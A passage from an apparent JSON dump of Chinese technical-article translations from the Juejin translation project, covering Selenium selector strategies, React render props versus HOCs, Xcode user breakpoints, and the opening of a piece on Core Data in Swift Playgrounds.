[跨浏览器](https://blog.testproject.io/2017/02/09/cross-browser-testing-selenium-webdriver/) 测试的影响。本质上，在 IE 中运行自动化测试的耗时更长。如果你的用户群体的 IE 使用率不高的话，考虑到在 IE 上跑测试的时候更少，XPath 依然是一个好选择。如果你的用户基本上都是 IE 重度使用者的话，XPath 就只能作为没有其它更好方式时的备胎选择了。\n\n### 举个栗子：\n\n如果你有需求要选择父元素，那就必须采用 XPath。下面是做法，依然使用我们的示例，假设你要定位一个基于锚点元素的主菜单元素的父元素：\n\n```\ndriver.find_elements(By.XPATH, \"//a[id=menu]/../\")\n```\n\n这个元素选择器会定位到第一个 id 等于 \"menu\" 的锚点标签，然后通过 “/../” 定位到它的父元素。最终结果就是你会定位到主菜单元素。\n\n### 总结： XPath\n\n| **优点** | **缺点** |\n| -------- | -------- |\n| 可以定位到父元素 | IE 上表现欠佳 |\n| 非常灵活 | 陡峭的学习曲线 |\n| 非常多的在线支持 |\n\n\n## 超级棒的元素选择器： ID 和 Class\n\nID 和 Class 元素选择器在自动化中是两个不同的选项，会在应用程序中执行不同的功能。然而作为自动化工作的选择器策略，这两种选择器的区别很小，我们没必要将它们分开考虑。在应用程序中，UI 界面开发者可以操作和给定义了 \"id\" 和 \"class\" 属性的元素设置样式。对于自动化工作来说，我们使用它们来针对特定元素进行交互。\n\n使用 ID 和 Class 原则器的一大好处是它们受应用程序结构变化的影响最小。假设，你要创建一个链式地依赖于一些元素和 [子元素](https://www.w3schools.com/jsref/prop_element_children.asp) 的 XPath 或 CSS 选择器，如果此时有一个功能需要增加一些新元素从而中断了这个链条，会发生什么？使用 ID 和 Class 元素选择器，您可以定位特定的元素，而不是依赖页面结构。同时也没有过于宽松易变。应该通过给特定元素的位置创建测试用例来自动检测改动。改动不应该毁坏你的整个自动化套件。但是，如果开发者直接对自动化中使用的 ID 或 Class 进行更改的话，还是会影响到你的测试。\n\n又或者如果 HTML 标签没有自动化程序中可使用的 ID 和 Class 属性的话，这种策略就无法使用。如果 HTML 标签没有自动化程序中可使用的 ID 和 Class 属性的话，这种方法就很难使用。\n\n### 举个栗子：\n\n在示例中，如果我们想选择到顶级的菜单元素，那应该是这样的：\n\n```\ndriver.find_elements(By.ID, \"main-menu\")\n```\n\n如果要选择第一个菜单项，则是这样：\n\n```\ndriver.find_elements(By.CLASS_NAME, \"menu\")\n```\n\n### 总结： ID 和 Class 选择器\n\n| **优点** | **缺点** |\n| -------- | -------- |\n| 易于维护 | 开发人员可能会直接修改它们，自动化工作就无法进行了 |\n| 学习难度低|\n| 受页面结构的影响最小 |\n\n## 最佳的元素选择器: 具有自定义属性的 CSS 选择器\n\n如果你们的 QA 团队与开发部门合作良好的话，你们很有可能会选择这种最佳实践方法应用到自动化工作中。使用自定义属性和 CSS 选择器来定位元素对于 QA 团队和整个组织来说都有很多好处。对于 QA 团队来说，这可以让自动化工程师直接定位到特定元素，无需创建复杂的元素原则器。但是，这需要在应用程序中添加自动化团队所需的属性。为了充分发挥最佳实践的优势，开发部门和 QA 团队应共同实施这一策略。\n\n我想简短地提示一下，CSS 选择器方法并不依赖于自定义属性。CSS 选择器可以像 XPath 一样定位到 HTML 文档流中的任意标签和属性。\n\n现在我们来看这个方法需要我们做什么。为了能最好地执行这一策略，你们的自动化团队了解自己在自动化工作中想要定位什么。在与开发人员的合作中，最有可能是与前端工程师的合作中，QA 团队需要制定一个自定义属性的应用模式，放到团队所需要连接合作的每一个目标中。对于这个例子来说，我们把 \"tid\" 属性附加到了目标元素上。\n\n这里需要强调的一个技术上的注意事项是 CSS 选择器的限制。CSS 选择器是不允许像 XPath 一样选择父元素的。这是为了避免页面上 CSS 样式的无限循环。这对网页设计来说是件好事，但是，当它作为自动化的元素选择器时是一种限制。幸运的是，这种限制可以由开发实现自定义属性来避免。QA 应请求合适的自定义属性，以便无需选择父元素。\n\n如果你们公司的开发部门和 QA 团队不存在合作文化的话，也不用担心！应该实施这个策略，因为它是可以推动合作的途径。无论这种合作文化是否存在，你也应该先采用这种方式然后看看效果怎么样。你不但会拥有一个易于维护的选择器策略，你还会看到遍及整个公司的协作文化所带来的便利。这种合作关系会在质量保障的多个方面受益，比如减少缺陷，缩短上市时间并提高生产力。\n\n为了更好地实行这个策略并创建合作关系，QA 团队应该从一开始就参与到设计过程中，与开发部门合作并 review 需求。随着开发部门设计功能，QA 应该建议哪里可以实现自定义属性的位置，以最好地支持自动化工作。通过在设计阶段初期就鼓励这种合作，能够让 QA 团队和开发部门会在合作关系中走得更近，提高开发效率。这也可能会对软件开发周期的其它领域产生溢出效应。在鼓励开发部门与 QA 团队的合作中，他们彼此更将熟悉，同样的，这种关系也会映射到其它领域的合作中。\n\n### 举个栗子：\n\n在示例 HTML 代码中的锚点元素上使用自定义属性：\n\n```\n<div id=\"main-menu\">\n  <div class=\"menu\"><a tid=\"home-link\" href=\"/home\">Home</a></div>\n  <div class=\"menu\"><a tid=\"shop-link\" href=\"/shop\">Shop</a>\n    <div class=\"submenu\">\n      <a tid=\"gizmo-link\" href=\"/shop/gizmo\">Gizmo</a>\n      <a tid=\"widget-link\" href=\"/shop/widget\">Widget</a>\n      <a tid=\"sprocket-link\" href=\"/shop/sprocket\">Sprocket</a>\n    </div>\n  </div>\n</div>\n```\n\n注意，一些元素上有了新属性。我们创建了一个叫 \"tid\" 的新属性，与标准的 HTML 属性并无任何充冲突。有了自定义属性，我们可以通过一个 CSS 元素选择器去定位它：\n\n```\ndriver.find_element(By. CSS_SELECTOR, \"[tid=home-link]\")\n```\n\n假设，你想选择菜单中所有的链接，无论一级菜单还是二级菜单。你可以通过 CSS 选择器，创建灵活多变的元素选择器组：\n\n```\ndriver.find_element(By.CSS_SELECTOR, \"#main-menu [tid*='-link']\")\n```\n\n\"*=\" 做的是，在所有元素的 \"tid\" 字段中由通配符搜索 \"-link\"。把它放到 \"#main-menu\" ID 选择符的后面，它就只搜索主菜单内的元素了。\n\n如果你想脱离自定义属性来使用这个策略，也依然是正确路线。举例说，你可以通过如下方式定位到 Shop 的子菜单中的链接：\n\n```\ndriver.find_element(By. CSS_SELECTOR, \"#main-menu .submenu a\")\n```\n\n这一策略可以使得工程师创建易于维护且不受 UI 界面中无关变化影响的自动化工作。选择这一策略是最好的方法。这不仅是一个易于维护的自动化解决方案，而且还会鼓励 QA 团队和开发人员之间的合作。\n\n### 总结：具有自定义属性的 CSS 选择器\n\n| **优点** | **缺点** |\n| -------- | -------- |\n| 学习难度低 | 初始阶段就涉及到与开发人员合作|\n| 丰富的在线支持 |\n| 灵活多变 |\n| 超级棒的兼容性 |\n\n## 结论\n\n在自动化框架中实现企业标准级的元素选择器策略有一些很好的选择。应该避免选择像是标签名或链接文本选择器，除非它们是你唯一的选择。XPath，ID 和 Class 选择器则是一个好路线。到目前为止，最好的方法是实现自定义属性并用 CSS 选择器来定位。这也鼓励了开发部门与 QA 团队之间的合作。\n\n这是所有选项的比较表：\n\n![1511434384(1).jpg](https://i.loli.net/2017/11/23/5a16a89cdb6db.jpg)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/use-a-render-prop.md",
    "content": "> * 原文地址：[Use a Render Prop!](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)\n> * 原文作者：[Michael Jackson](https://cdb.reacttraining.com/@mjackson?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/use-a-render-prop.md](https://github.com/xitu/gold-miner/blob/master/TODO/use-a-render-prop.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW) [Usey95](https://github.com/Usey95)\n\n# 用 Render props 吧！\n\n**更新**：[我提交了一个 PR 到 React 官方文档，为其添加了 Render props](https://github.com/facebook/react/pull/10741)。\n\n**更新2**：添加一部分内容来说明 “children 作为一个函数” 也是相同的概念，只是 prop 名称不同罢了。\n\n* * *\n\n几个月前，我发了一个 twitter：\n\n![](https://ws1.sinaimg.cn/large/006LnBnPly1fliue6zyrcj30ed068jri.jpg)\n\n> 译注：@reactjs 我可以在一个普通组件上使用一个 render prop 来完成 HOC（高阶组件） 能够做到的事情。不服来辩。\n\n我认为，[高阶组件模式](https://facebook.github.io/react/docs/higher-order-components.html) 作为一个在许多基于 React 的代码中流行的代码复用手段，是可以被一个具有 “render prop” 的普通组件 100% 地替代的。“不服来辩” 一词是我对 React 社区朋友们的友好 “嘲讽”，随之而来的是一个系列好的讨论，但最终，我对我自己无法用 140 字来完整描述我想说的而感到失望。 我 [决定在未来的某个时间点写一篇更长的文章](https://twitter.com/mjackson/status/885918220154134528) 来公平公正的探讨这个主题。\n\n两周前，当 [Tyler](https://twitter.com/tylercollier) 邀请我到 [Phoenix ReactJS](https://www.meetup.com/Phoenix-ReactJS/events/242296327/) 演讲时，我认为是时候去对此进行更进一步的探讨了。那周我已经到达 Phoenix 去启动 [我们的 React 基础和进阶补习课](https://reacttraining.com) 了，而且我还从我的商业伙伴 [Ryan](https://medium.com/@ryanflorence) 听到了关于大会的好消息，他在[四月份做了演讲](https://www.youtube.com/watch?v=hEGg-3pIHlE)。\n\n在大会上，我的演讲似乎有点标题党的嫌疑：**不要再写另一个 HOC 了**。你可以在 [Phoenix ReactJS 的 YouTube 官方频道](https://www.youtube.com/watch?v=BcVAq3YFiuc) 上观看我的演讲，也可以通过下面这个内嵌的视频进行观看：\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/BcVAq3YFiuc\" frameborder=\"0\" gesture=\"media\" allowfullscreen></iframe>\n\n如果你不想看视频的话，可以阅读后文对于演讲主要内容的介绍。但是严肃地说：视频要有趣多了 😀。\n\n如果你直接跳过视频开始阅读，但并没有领会我所说的意思，就**折回去看视频**吧。演讲时的细节会更丰富。\n\n### Mixins 存在的问题\n\n我的演讲始于高阶组件主要解决的问题：**代码复用**。\n\n让我们回到 2015 年使用 `React.createClass` 那会儿。假定你现在有一个简单的 React 应用需要跟踪并在页面上实时显示鼠标位置。你可能会构建一个下面这样的例子：\n\n```js\nimport React from 'react'\nimport ReactDOM from 'react-dom'\n\nconst App = React.createClass({\n  getInitialState() {\n    return { x: 0, y: 0 }\n  },\n\n  handleMouseMove(event) {\n    this.setState({\n      x: event.clientX,\n      y: event.clientY\n    })\n  },\n\n  render() {\n    const { x, y } = this.state\n\n    return (\n      <div style={{ height: '100%' }} onMouseMove={this.handleMouseMove}>\n        <h1>The mouse position is ({x}, {y})</h1>\n      </div>\n    )\n  }\n})\n\nReactDOM.render(<App/>, document.getElementById('app'))\n```\n\n现在，假定我们在另一个组件中也需要跟踪鼠标位置。我们可以重用 `<App>` 中的代码吗？\n\n在 `createClass` 这个范式中，代码重用问题是通过被称为 “mixins” 的技术解决的。我们创建一个 `MouseMixin`，让任何人都能通过它来追踪鼠标位置。\n\n```js\nimport React from 'react'\nimport ReactDOM from 'react-dom'\n\n// mixin 中含有了你需要在任何应用中追踪鼠标位置的样板代码。\n// 我们可以将样板代码放入到一个 mixin 中，这样其他组件就能共享这些代码\nconst MouseMixin = {\n  getInitialState() {\n    return { x: 0, y: 0 }\n  },\n\n  handleMouseMove(event) {\n    this.setState({\n      x: event.clientX,\n      y: event.clientY\n    })\n  }\n}\n\nconst App = React.createClass({\n  // 使用 mixin！\n  mixins: [ MouseMixin ],\n  \n  render() {\n    const { x, y } = this.state\n\n    return (\n      <div style={{ height: '100%' }} onMouseMove={this.handleMouseMove}>\n        <h1>The mouse position is ({x}, {y})</h1>\n      </div>\n    )\n  }\n})\n\nReactDOM.render(<App/>, document.getElementById('app'))\n```\n\n问题解决了，对吧？现在，任何人都能轻松地将 `MouseMixin` 混入他们的组件中，并通过 `this.state` 属性获得鼠标的 `x` 和 `y` 坐标。\n\n### HOC 是新的 Mixin\n\n去年，随着[ES6 class](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) 的到来，React 团队最终决定使用 ES6 class 来代替 `createClass`。这是一个明智的决定，没有人会在 JavaScript 都内置了 class 时还会维护自己的类模型。\n\n但就存在一个问题：**ES6 class 不支持 mixin**。除了不是 ES6 规范的一部分，Dan 已经在[一篇 React 博客](https://facebook.github.io/react/blog/2016/07/13/mixins-considered-harmful.html)上发布的博文上详细讨论了 mixin 存在的其他问题。\n\nminxins 的问题总结下来就是\n\n* **ES6 class**。其不支持 mixins。\n* **不够直接**。minxins 改变了 state，因此也就很难知道一些 state 是从哪里来的，尤其是当不止存在一个 mixins 时。\n* **名字冲突**。两个要更新同一段 state 的 mixins 可能会相互覆盖。`createClass` API 会对两个 mixins 的 `getInitialState` 是否具有相同的 key 做检查，如果具有，则会发出警告，但该手段并不牢靠。\n\n所以，为了替代 mixin，React 社区中的不少开发者最终决定用[高阶组件](https://facebook.github.io/react/docs/higher-order-components.html)（简称 HOC）来做代码复用。在这个范式下，代码通过一个类似于 [**装饰器（decorator）**](https://en.wikipedia.org/wiki/Decorator_pattern) 的技术进行共享。首先，你的一个组件定义了大量需要被渲染的标记，之后用若干具有你想用共享的行为的组件包裹它。因此，你现在是在 **装饰** 你的组件，而不是**混入**你需要的行为！\n\n```js\nimport React from 'react'\nimport ReactDOM from 'react-dom'\n\nconst withMouse = (Component) => {\n  return class extends React.Component {\n    state = { x: 0, y: 0 }\n\n    handleMouseMove = (event) => {\n      this.setState({\n        x: event.clientX,\n        y: event.clientY\n      })\n    }\n\n    render() {\n      return (\n        <div style={{ height: '100%' }} onMouseMove={this.handleMouseMove}>\n          <Component {...this.props} mouse={this.state}/>\n        </div>\n      )\n    }\n  }\n}\n\nconst App = React.createClass({\n  render() {\n    // 现在，我们得到了一个鼠标位置的 prop，而不再需要维护自己的 state\n    const { x, y } = this.props.mouse\n\n    return (\n      <div style={{ height: '100%' }}>\n        <h1>The mouse position is ({x}, {y})</h1>\n      </div>\n    )\n  }\n})\n\n// 主需要用 withMouse 包裹组件，它就能获得 mouse prop\nconst AppWithMouse = withMouse(App)\n\nReactDOM.render(<AppWithMouse/>, document.getElementById('app'))\n```\n\n让我们和 mixin 说再见，去拥抱 HOC 吧。\n\n在 ES6 class 的新时代下，HOC 的确是一个能够优雅地解决代码重用问题方案，社区也已经广泛采用它了。\n\n此刻，我想问一句：是什么驱使我们迁移到 HOC ? 我们是否解决了在使用 mixin 时遇到的问题？\n\n让我们看下：\n\n* **ES6 class**。这里不再是问题了，ES6 class 创建的组件能够和 HOC 结合。\n* **不够直接**。即便用了 HOC，这个问题仍然存在。在 mixin 中，我们不知道 state 从何而来，在 HOC 中，我们不知道 props 从何而来。\n* **名字冲突**。我们仍然会面临该问题。两个使用了同名 prop 的 HOC 将遭遇冲突并且彼此覆盖，并且这次问题会更加隐晦，因为 React 不会在 prop 重名是发出警告。\n\n另一个 HOC 和 mixin 都有的问题就是，二者使用的是 **静态组合** 而不是 **动态组合**。问问你自己：在 HOC 这个范式下，组合是在哪里发生的？当组件类（如上例中的 `AppWithMouse`）被创建后，发生了一次静态组合。\n\n你无法在 `render` 方法中使用 mixin 或者 HOC，而这恰是 React **动态** 组合模型的关键。当你在 `render` 中完成了组合，你就可以利用到所有 React 生命期的优势了。动态组合或许微不足道，但兴许某天也会出现一篇专门探讨它的博客，等等，我有点离题了。😅\n\n总而言之：**使用 ES6 class 创建的 HOC 仍然会遇到和使用 `createClass` 时一样的问题，它只能算一次重构。**\n\n现在不要说拥抱 HOC 了，我们不过在拥抱新的 mixin！🤗\n\n除了上述缺陷，由于 HOC 的实质是**包裹**组件并创建了一个**混入**现有组件的 mixin 替代，因此，**HOC 将引入大量的繁文缛节**。从 HOC 中返回的组件需要表现得和它包裹的组件尽可能一样（它需要和包裹组件接收一样的 props 等等）。这一事实使得构建健壮的 HOC 需要大量的样板代码（boilerplate code）。\n\n上面我所讲到的，以 [React Router](https://github.com/ReactTraining/react-router) 中的 [`withRouter` HOC](https://github.com/ReactTraining/react-router/blob/master/packages/react-router/modules/withRouter.js) 为例，你可以看到 [props 传递](https://github.com/ReactTraining/react-router/blob/f77440ec9025d463c6713039ab1a6db1faca99bb/packages/react-router/modules/withRouter.js#L14)、[wrappedComponentRef](https://github.com/ReactTraining/react-router/blob/f77440ec9025d463c6713039ab1a6db1faca99bb/packages/react-router/modules/withRouter.js#L22)、[被包裹组件的静态属性提升（hoist）](https://github.com/ReactTraining/react-router/blob/f77440ec9025d463c6713039ab1a6db1faca99bb/packages/react-router/modules/withRouter.js#L25)等等这样的样板代码，当你需要为你的 React 添加 HOC 时，就不得不撰写它们。\n\n### Render Props\n\n现在，有了另外一门技术来做代码复用，该技术可以规避 mixin 和 HOC 的问题。在 [React Training](https://reacttraining.com) 中，称之为 “Render Props”。\n\n我第一次见到 render prop 是在 [ChengLou](https://medium.com/@chenglou) 在 React Europe 上 [关于 react-motion 的演讲](https://www.youtube.com/watch?v=1tavDv5hXpo)，大会上，他提到的 `<Motion children>` API 能让组件与它的父组件共享 interpolated animation。如果让我来定义 render prop，我会这么定义：\n\n> 一个 render prop 是一个类型为函数的 prop，它让组件知道该渲染什么。\n\n更通俗的说法是：不同于通过 “混入” 或者装饰来共享组件行为，**一个普通组件只需要一个函数 prop 就能够进行一些 state 共享**。\n\n继续到上面的例子，我们将通过一个类型为函数的 `render` 的 prop 来简化 `withMouse` HOC 到一个普通的 `<Mouse>` 组件。然后，在 `<Mouse>` 的 `render` 方法中，我们可以使用一个 render prop 来让组件知道如何渲染：\n\n```js\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport PropTypes from 'prop-types'\n\n// 与 HOC 不同，我们可以使用具有 render prop 的普通组件来共享代码\nclass Mouse extends React.Component {\n  static propTypes = {\n    render: PropTypes.func.isRequired\n  }\n\n  state = { x: 0, y: 0 }\n\n  handleMouseMove = (event) => {\n    this.setState({\n      x: event.clientX,\n      y: event.clientY\n    })\n  }\n\n  render() {\n    return (\n      <div style={{ height: '100%' }} onMouseMove={this.handleMouseMove}>\n        {this.props.render(this.state)}\n      </div>\n    )\n  }\n}\n\nconst App = React.createClass({\n  render() {\n    return (\n      <div style={{ height: '100%' }}>\n        <Mouse render={({ x, y }) => (\n          // render prop 给了我们所需要的 state 来渲染我们想要的\n          <h1>The mouse position is ({x}, {y})</h1>\n        )}/>\n      </div>\n    )\n  }\n})\n\nReactDOM.render(<App/>, document.getElementById('app'))\n```\n\n这里需要明确的概念是，`<Mouse>` 组件实际上是调用了它的 `render` 方法来将它的 state 暴露给 `<App>` 组件。因此，`<App>` 可以随便按自己的想法使用这个 state，这太美妙了。😎\n\n在此，我想说明，“children as a function” 是一个 **完全相同的概念**，只是用 `children` prop 替代了 `render` prop。我挂在嘴边的 `render prop` 并不是在强调一个 **名叫** `prop` 的 prop，而是在强调你使用一个 prop 去进行渲染的概念。\n\n该技术规避了所有 mixin 和 HOC 会面对的问题：\n\n* **ES6 class**。不成问题，我们可以在 ES6 class 创建的组件中使用 render prop。\n* **不够直接**。我们不必再担心 state 或者 props 来自哪里。我们可以看到通过 render prop 的参数列表看到有哪些 state 或者 props 可供使用。\n* **名字冲突**。现在不会有任何的自动属性名称合并，因此，名字冲突将全无可乘之机。\n\n并且，render prop 也不会引入 **任何繁文缛节**，因为你不会 **包裹** 和 **装饰** 其他的组件。它仅仅是一个函数！如果你使用了 [TypeScript](https://www.typescriptlang.org) 或者 [Flow](https://flow.org/)，你会发现相较于 HOC，现在很容易为你具有 render prop 的组件写一个类型定义。当然，这是另外一个话题了。\n\n另外，这里的组合模型是 **动态的**！每次组合都发生在 render 内部，因此，我们就能利用到 React 生命周期以及自然流动的 props 和 state 带来的优势。\n\n使用这个模式，你可以将 **任何** HOC 替换一个具有 render prop 的一般组件。这点我们可以证明！😅\n\n### Render Props > HOCs\n\n一个更将强有力的，能够证明 render prop 比 HOC 要强大的证据是，任何 HOC 都能使用 render prop 替代，反之则不然。下面的代码展示了使用一个一般的、具有 render prop 的 `<Mouse>` 组件来实现的 `withMouse` HOC：\n\n```js\nconst withMouse = (Component) => {\n  return class extends React.Component {\n    render() {\n      return <Mouse render={mouse => (\n        <Component {...this.props} mouse={mouse}/>\n      )}/>\n    }\n  }\n}\n```\n\n有心的读者可能已经意识到了 `withRouter` HOC 在 React Router 代码库中确实就是通过[**一个 render prop **](https://github.com/ReactTraining/react-router/blob/f77440ec9025d463c6713039ab1a6db1faca99bb/packages/react-router/modules/withRouter.js#L13) 实现的！\n\n所以还不心动？快去你自己的代码中使用 render prop 吧！尝试使用具有 render prop 组件来替换 HOC。当你这么做了之后，你将不再受困于 HOC 的繁文缛节，并且你也将利用到 React 给予的动态组合模型的好处，那是特别酷的特性。😎\n\n[**Michael**](https://twitter.com/mjackson) 是 [**React Training**](https://reacttraining.com) 的成员，也是 React 社区中一个多产的[开源软件贡献者](https://github.com/mjackson)。想了解最新的培训和课程就[订阅邮件推送](subscribe to the mailing list) 并 [在 Twitter 上关注 React Training](https://twitter.com/reacttraining)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。"
  },
  {
    "path": "TODO/user-breakpoints-in-xcode.md",
    "content": "\n> * 原文地址：[User Breakpoints in Xcode](https://pspdfkit.com/blog/2017/user-breakpoints-in-xcode/)\n> * 原文作者：[Michael Ochs](https://twitter.com/_mochs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/user-breakpoints-in-xcode.md](https://github.com/xitu/gold-miner/blob/master/TODO/user-breakpoints-in-xcode.md)\n> * 译者：[oOatuo](https://github.com/)\n> * 校对者：[fengzhihao123](https://github.com/fengzhihao123), [LeviDing](https://github.com/leviding)\n\n# Xcode 中的用户断点\n\n大家应该都用过 Xcode 中的断点，但你们熟悉用户断点么？下面我将向你们介绍如何使用以及何时使用这种断点。如果你已经对用户断点有所了解了，可以查看下文章后面的清单，看看我们是如何在 PSPDFKit 中使用它们的，也许有一些新的东西可以添加到你的清单中！\n\n## 常规断点\n\n当创建一个常规断点时，它们会出现在 Xcode 的断点导航器中，分列在工作区或者工程下，这取决于你当前所工作的位置。你可以通过点击列表中或者它所指向的代码旁边的断点符号来激活或禁用一个断点。\n\n![A regular breakpoint](https://pspdfkit.com/images/blog/2017/user-breakpoints-in-xcode/regular-breakpoint@2x-a201ce1c.png)\n\n这些断点保存在特定工作区或工程的个人设置中，仅自己可见。即使你将个人设置提交到项目中，在同一个项目中的同事也不会在他们的 Xcode 中看到你的断点。\n\n## 分享断点\n\n通过右击断点，选择　'Share Breakpoint'，这个断点会对项目中的所有人可见。如果项目中有你希望每次都能停止执行的代码路径，例如自定义的异常处理或其他任何不应在正常情况下执行的特定的项目代码，这是很有用的。结合断点选项和可自动执行的断点，这对于提高调试体验也很有帮助。\n\n另一个你可以用它来做的稍微不那么有用的事：在应用程序的执行代码路径中添加一个共享的断点，比如完成一个网络请求，让它自动地连续运行，并让它在每次被击中时播放一个声音 - 是的，你可以让你的断点发出声音。提交断点，然后看着试图弄清楚声音是从哪里来而抓狂的同事！😁 不过，在远程工作的环境下，恶搞你的同事是很难的，这就是我为什么没有在 PSPDFKit 这么做。。。但可以在[我们的线下团建](https://pspdfkit.com/blog/2016/the-importance-of-retreats-for-a-remote-company/)时拿来娱乐一下。\n\n## 用户断点\n\n你还可以用断点来做另一件事。它是一个很强大的特性，只不过在 Xcode 中有点难找。你可以通过右击断点选择 'Move Breakpoint To > User'，使其变成用户断点。\n\n![A regular breakpoint](https://pspdfkit.com/images/blog/2017/user-breakpoints-in-xcode/move-to-user@2x-d63238f8.png)\n\n这会将断点从工作区或项目范围转移到一个用户范围内。这意味着断点会出现在你的机器上的所有项目中。虽然这对与特定项目相关的事情不是很有帮助，但还是有很多的断点可以被添加到用户范围的列表中。最明显的事情是 Objective-C 的异常和 Swift 的错误断点，可能每个人都会在每个项目中都添加一次相应的断点。使用用户断点的话，你只需添加它们一次，它们就会自动出现在您的所有项目中。\n\n另一个我使用的用户断点是在应用程序启动时激活 Reveal。Reveal 是一个很好的用来调试视图相关问题的工具，我经常使用它。它需要通过一个服务来集成到你的应用中，并且服务需要自己启动，这可以通过调试器来实现，而不必添加相应的调试代码。当你把这个断点移动到用户空间下后，你就不再需要将它添加到每个项目中去。如果你的项目包含了 Reveal 的服务, 当应用程序启动时服务会自动启动。这个方法也在 Reveal 的 [接入指南](http://support.revealapp.com/kb/getting-started/load-the-reveal-server-via-an-xcode-breakpoint) 提到过。\n\n还有一些其他的断点在每个项目中都很有帮助。请记住，你可以停用它们，只在需要的时候打开它们；我的很多断点都是默认关闭的，但如果我需要它们，它们就在那里。这是我们团队在 PSPDFKit 中最喜欢使用的断点清单：\n\n- **Symbol:**`UIViewAlertForUnsatisfiableConstraints`\n\n    当出现自动布局约束的问题时自动停止。这会比仅仅在Xcode的控制台输出一条打印信息更让你注意这个问题。它有助于我们及早地发现布局问题。\n\n- **Symbol:**`NSKVODeallocateBreak`\n\n    在 KVO 抱怨观察者仍在原地的地方中断。   \n\n- **Symbol:**`UIApplicationMain`\n*Debugger command:*`e @import UIKit`\n\n    将 UIKit 导入到调试器中，不再需要在很多地方转换类型。你写过很多类似 `p (CGRect)[self bounds]` 的语句么？这消除了将其转换为 CGRect 的需求。\n\n- **Symbol:**`-[UIViewController initWithNibName:bundle:]`\n    *Debugger command:*`po $arg1`\n\n     在视图控制器初始化期间打印其类型。当在大型项目中工作或者你是个新来的，你会不知道所有试图控制器的名字。如果你想知道你要修改的视图控制器的名字的话，你只需激活这个断点，然后在应用中导航到这个视图控制器，你会在调试器中看到所打印的名字。\n\n- **Symbol:**`-[UIApplication sendAction:toTarget:fromSender:forEvent:]`\n\n    当有事件发出时中断，例如按钮的触摸。这和上面那个很相似。激活这个断点，如果你不知道按钮被触摸时调用了哪个方法的话。`p (SEL)$arg3` 会打印出调用的选择器，`po $arg4` 会打印调用它的目标。\n\n- **Exception Breakpoint:** Objective-C\n    *Debugger command:*`po $arg1`\n\n    当 Objective-C 断点被触发时中断，并打印相应的异常信息。\n\n- **Exception Breakpoint:** C++\n\n    当 C++ 异常抛出时中断。\n\n- **Swift Error Breakpoint**\n\n    在 Swift 错误出现时中断。\n\n- **Symbol:**`_XCTFailureHandler`\n\n    当单元测试产生错误时中断。如果你正在运行单元测试，并想要当错误出现时中断程序，这就是。\n\n如果你的清单中有其他的你觉得有用的断点，[请联系我](https://twitter.com/_mochs)。如果你想了解更多关于 Xcode 断点所能做的事情以及[如何用脚本化的断点调试特定的实例](https://pspdfkit.com/blog/2016/scripted-breakpoints/)的话，可以浏览我们的博客！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/using-a-core-data-model-in-swift-playgrounds.md",
    "content": "> * 原文链接 : [using-a-core-data-model-in-swift-playgrounds](https://www.andrewcbancroft.com/2016/07/10/using-a-core-data-model-in-swift-playgrounds/)\n* 原文作者 : [Andrew Bancroft](https://www.andrewcbancroft.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [MAYDAY1993](https://github.com/MAYDAY1993)\n* 校对者: [siegeout](https://github.com/siegeout) [owenlyn] (https://github.com/owenlyn)\n\n# 在 Swift Playgrounds 中使用 Core Data 模型\n\n你能在 Xcode 的 Swift Playgrounds 中使用 Core Data 模型么？当然可以！\n\n在2015年， [http://www.learncoredata.com](http://www.learncoredata.com)的作者 [Jeremiah Jessel](https://twitter.com/JCubedApps)，写了篇文章 [detailing how you can use the Core Data framework inside a playground](http://www.learncoredata.com/core-data-and-playgrounds/)。从建立 Core Data 堆栈到在代码中创建 NSManagedObjects，他向我们展示了如何处理这一过程中的所有事情。多么好的资料啊！\n读完他的指南后，我开始思考：我很好奇你是否能拿到一个由 Xcode 的数据模型设计创建的 